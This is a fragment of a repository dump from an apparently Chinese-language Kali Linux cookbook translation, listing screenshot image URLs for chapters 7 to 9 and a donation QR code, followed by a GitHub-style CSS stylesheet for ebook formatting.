https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/7-7-3.jpg -------------------------------------------------------------------------------- /img/7-7-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/7-7-4.jpg -------------------------------------------------------------------------------- /img/7-7-5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/7-7-5.jpg -------------------------------------------------------------------------------- /img/7-7-6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/7-7-6.jpg -------------------------------------------------------------------------------- /img/7-7-7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/7-7-7.jpg -------------------------------------------------------------------------------- /img/7-7-8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/7-7-8.jpg -------------------------------------------------------------------------------- /img/7-7-9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/7-7-9.jpg -------------------------------------------------------------------------------- /img/8-1-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-1-1.jpg -------------------------------------------------------------------------------- /img/8-1-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-1-2.jpg -------------------------------------------------------------------------------- /img/8-1-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-1-3.jpg -------------------------------------------------------------------------------- /img/8-1-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-1-4.jpg -------------------------------------------------------------------------------- /img/8-1-5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-1-5.jpg -------------------------------------------------------------------------------- /img/8-2-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-2-1.jpg -------------------------------------------------------------------------------- /img/8-2-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-2-2.jpg -------------------------------------------------------------------------------- /img/8-2-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-2-3.jpg -------------------------------------------------------------------------------- /img/8-2-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-2-4.jpg -------------------------------------------------------------------------------- /img/8-2-5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-2-5.jpg -------------------------------------------------------------------------------- /img/8-3-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-3-1.jpg -------------------------------------------------------------------------------- /img/8-3-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-3-2.jpg -------------------------------------------------------------------------------- /img/8-4-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-1.jpg -------------------------------------------------------------------------------- /img/8-4-10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-10.jpg -------------------------------------------------------------------------------- /img/8-4-11.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-11.jpg -------------------------------------------------------------------------------- /img/8-4-12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-12.jpg -------------------------------------------------------------------------------- /img/8-4-13.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-13.jpg -------------------------------------------------------------------------------- /img/8-4-14.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-14.jpg -------------------------------------------------------------------------------- /img/8-4-15.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-15.jpg -------------------------------------------------------------------------------- /img/8-4-16.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-16.jpg -------------------------------------------------------------------------------- /img/8-4-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-2.jpg -------------------------------------------------------------------------------- /img/8-4-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-3.jpg -------------------------------------------------------------------------------- /img/8-4-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-4.jpg -------------------------------------------------------------------------------- /img/8-4-5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-5.jpg -------------------------------------------------------------------------------- /img/8-4-6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-6.jpg -------------------------------------------------------------------------------- /img/8-4-7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-7.jpg -------------------------------------------------------------------------------- /img/8-4-8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-8.jpg -------------------------------------------------------------------------------- /img/8-4-9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-4-9.jpg -------------------------------------------------------------------------------- /img/8-6-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-6-1.jpg -------------------------------------------------------------------------------- /img/8-6-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-6-2.jpg -------------------------------------------------------------------------------- /img/8-7-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-7-1.jpg -------------------------------------------------------------------------------- /img/8-7-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-7-2.jpg -------------------------------------------------------------------------------- /img/8-8-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-8-1.jpg -------------------------------------------------------------------------------- /img/8-9-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/8-9-1.jpg -------------------------------------------------------------------------------- /img/9-1-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-1-1.jpg -------------------------------------------------------------------------------- /img/9-2-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-2-1.jpg -------------------------------------------------------------------------------- /img/9-3-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-3-1.jpg -------------------------------------------------------------------------------- /img/9-3-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-3-2.jpg -------------------------------------------------------------------------------- /img/9-4-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-4-1.jpg -------------------------------------------------------------------------------- /img/9-4-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-4-2.jpg -------------------------------------------------------------------------------- /img/9-4-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-4-3.jpg -------------------------------------------------------------------------------- /img/9-4-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-4-4.jpg -------------------------------------------------------------------------------- /img/9-7-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-1.jpg -------------------------------------------------------------------------------- /img/9-7-10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-10.jpg -------------------------------------------------------------------------------- /img/9-7-11.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-11.jpg -------------------------------------------------------------------------------- /img/9-7-12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-12.jpg -------------------------------------------------------------------------------- /img/9-7-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-2.jpg -------------------------------------------------------------------------------- /img/9-7-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-3.jpg -------------------------------------------------------------------------------- /img/9-7-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-4.jpg -------------------------------------------------------------------------------- /img/9-7-5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-5.jpg -------------------------------------------------------------------------------- /img/9-7-6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-6.jpg -------------------------------------------------------------------------------- /img/9-7-7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-7.jpg -------------------------------------------------------------------------------- /img/9-7-8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-8.jpg -------------------------------------------------------------------------------- /img/9-7-9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/9-7-9.jpg -------------------------------------------------------------------------------- /img/qr_alipay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/qr_alipay.png -------------------------------------------------------------------------------- /styles/ebook.css: -------------------------------------------------------------------------------- 1 | /* GitHub stylesheet for MarkdownPad (http://markdownpad.com) */ 2 | /* Author: Nicolas Hery - http://nicolashery.com */ 3 | /* Version: b13fe65ca28d2e568c6ed5d7f06581183df8f2ff */ 4 | /* Source: https://github.com/nicolahery/markdownpad-github */ 5 | 6 | /* RESET 7 | =============================================================================*/ 8 | 9 | html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video { 10 | margin: 0; 11 | padding: 0; 12 | border: 0; 13 | } 14 | 15 | /* BODY 16 | =============================================================================*/ 17 | 18 | body { 19 | font-family: Helvetica, arial, freesans, clean, sans-serif; 20 | font-size: 14px; 21 | line-height: 1.6; 22 | color: #333; 23 | background-color: #fff; 24 | padding: 20px; 25 | max-width: 960px; 26 | margin: 0 auto; 27 | } 28 | 29 | body>*:first-child { 30 | margin-top: 0 !important; 31 | } 32 | 33 | body>*:last-child { 34 | margin-bottom: 0 !important; 35 | } 36 | 37 | /* BLOCKS 38 | =============================================================================*/ 39 | 40 | p, blockquote, ul, ol, dl, table, pre { 41 | margin: 15px 0; 42 | } 43 | 44 | /* HEADERS 45 | =============================================================================*/ 46 | 47 | h1, h2, h3, h4, h5, h6 { 48 | margin: 20px 0 10px; 49 | padding: 0; 50 | font-weight: bold; 51 | -webkit-font-smoothing: antialiased; 52 | } 53 | 54 | h1 tt, h1 code, h2 tt, h2 code, h3 tt, h3 code, h4 tt, h4 code, h5 tt, h5 code, h6 tt, h6 code { 55 | font-size: inherit; 56 | } 57 | 58 | h1 { 59 | font-size: 24px; 60 | border-bottom: 1px solid #ccc; 61 | color: #000; 62 | } 63 | 64 | h2 { 65 | font-size: 18px; 66 | color: #000; 67 | } 68 | 69 | h3 { 70 | font-size: 14px; 71 | } 72 | 73 | h4 { 74 | font-size: 14px; 75 | } 76 | 77 | h5 { 78 | font-size: 14px; 79 | } 80 | 81 | h6 { 82 | color: #777; 83 | font-size: 14px; 84 | } 85 | 86 | body>h2:first-child, body>h1:first-child, body>h1:first-child+h2, body>h3:first-child, body>h4:first-child, body>h5:first-child, body>h6:first-child { 87 | margin-top: 0; 88 | padding-top: 0; 89 | } 90 | 91 | a:first-child h1, a:first-child h2, a:first-child h3, a:first-child h4, a:first-child h5, a:first-child h6 { 92 | margin-top: 0; 93 | padding-top: 0; 94 | } 95 | 96 | h1+p, h2+p, h3+p, h4+p, h5+p, h6+p { 97 | margin-top: 10px; 98 | } 99 | 100 | /* LINKS 101 | =============================================================================*/ 102 | 103 | a { 104 | color: #4183C4; 105 | text-decoration: none; 106 | } 107 | 108 | a:hover { 109 | text-decoration: underline; 110 | } 111 | 112 | /* LISTS 113 | =============================================================================*/ 114 | 115 | ul, ol { 116 | padding-left: 30px; 117 | } 118 | 119 | ul li > :first-child, 120 | ol li > :first-child, 121 | ul li ul:first-of-type, 122 | ol li ol:first-of-type, 123 | ul li ol:first-of-type, 124 | ol li ul:first-of-type { 125 | margin-top: 0px; 126 | } 127 | 128 | ul ul, ul ol, ol ol, ol ul { 129 | margin-bottom: 0; 130 | } 131 | 132 | dl { 133 | padding: 0; 134 | } 135 | 136 | dl dt { 137 | font-size: 14px; 138 | font-weight: bold; 139 | font-style: italic; 140 | padding: 0; 141 | margin: 15px 0 5px; 142 | } 143 | 144 | dl dt:first-child { 145 | padding: 0; 146 | } 147 | 148 | dl dt>:first-child { 149 | margin-top: 0px; 150 | } 151 | 152 | dl dt>:last-child { 153 | margin-bottom: 0px; 154 | } 155 | 156 | dl dd { 157 | margin: 0 0 15px; 158 | padding: 0 15px; 159 | } 160 | 161 | dl dd>:first-child { 162 | margin-top: 0px; 163 | } 164 | 165 | dl dd>:last-child { 166 | margin-bottom: 0px; 167 | } 168 | 169 | /* CODE 170 | =============================================================================*/ 171 | 172 | pre, code, tt { 173 | font-size: 12px; 174 | font-family: Consolas, "Liberation Mono", Courier, monospace; 175 | } 176 | 177 | code, tt { 178 | margin: 0 0px; 179 | padding: 0px 0px; 180 | white-space: nowrap; 181 | border: 1px solid #eaeaea; 182 | background-color: #f8f8f8; 183 | border-radius: 3px; 184 | } 185 | 186 | pre>code { 187 | margin: 0; 188 | padding: 0; 189 | white-space: pre; 190 | border: none; 191 | background: transparent; 192 | } 193 | 194 | pre { 195 | background-color: #f8f8f8; 196 | border: 1px solid #ccc; 197 | font-size: 13px; 198 | line-height: 19px; 199 | overflow: auto; 200 | padding: 6px 10px; 201 | border-radius: 3px; 202 | } 203 | 204 | pre code, pre tt { 205 | background-color: transparent; 206 | border: none; 207 | } 208 | 209 | kbd { 210 | -moz-border-bottom-colors: none; 211 | -moz-border-left-colors: none; 212 | -moz-border-right-colors: none; 213 | -moz-border-top-colors: none; 214 | background-color: #DDDDDD; 215 | background-image: linear-gradient(#F1F1F1, #DDDDDD); 216 | background-repeat: repeat-x; 217 | border-color: #DDDDDD #CCCCCC #CCCCCC #DDDDDD; 218 | border-image: none; 219 | border-radius: 2px 2px 2px 2px; 220 | border-style: solid; 221 | border-width: 1px; 222 | font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; 223 | line-height: 10px; 224 | padding: 1px 4px; 225 | } 226 | 227 | /* QUOTES 228 | =============================================================================*/ 229 | 230 | blockquote { 231 | border-left: 4px solid #DDD; 232 | padding: 0 15px; 233 | color: #777; 234 | } 235 | 236 | blockquote>:first-child { 237 | margin-top: 0px; 238 | } 239 | 240 | blockquote>:last-child { 241 | margin-bottom: 0px; 242 | } 243 | 244 | /* HORIZONTAL RULES 245 | =============================================================================*/ 246 | 247 | hr { 248 | clear: both; 249 | margin: 15px 0; 250 | height: 0px; 251 | overflow: hidden; 252 | border: none; 253 | background: transparent; 254 | border-bottom: 4px solid #ddd; 255 | padding: 0; 256 | } 257 | 258 | /* TABLES 259 | =============================================================================*/ 260 | 261 | table th { 262 | font-weight: bold; 263 | } 264 | 265 | table th, table td { 266 | border: 1px solid #ccc; 267 | padding: 6px 13px; 268 | } 269 | 270 | table tr { 271 | border-top: 1px solid #ccc; 272 | background-color: #fff; 273 | } 274 | 275 | table tr:nth-child(2n) { 276 | background-color: #f8f8f8; 277 | } 278 | 279 | /* IMAGES 280 | =============================================================================*/ 281 | 282 | img { 283 | max-width: 100% 284 | } --------------------------------------------------------------------------------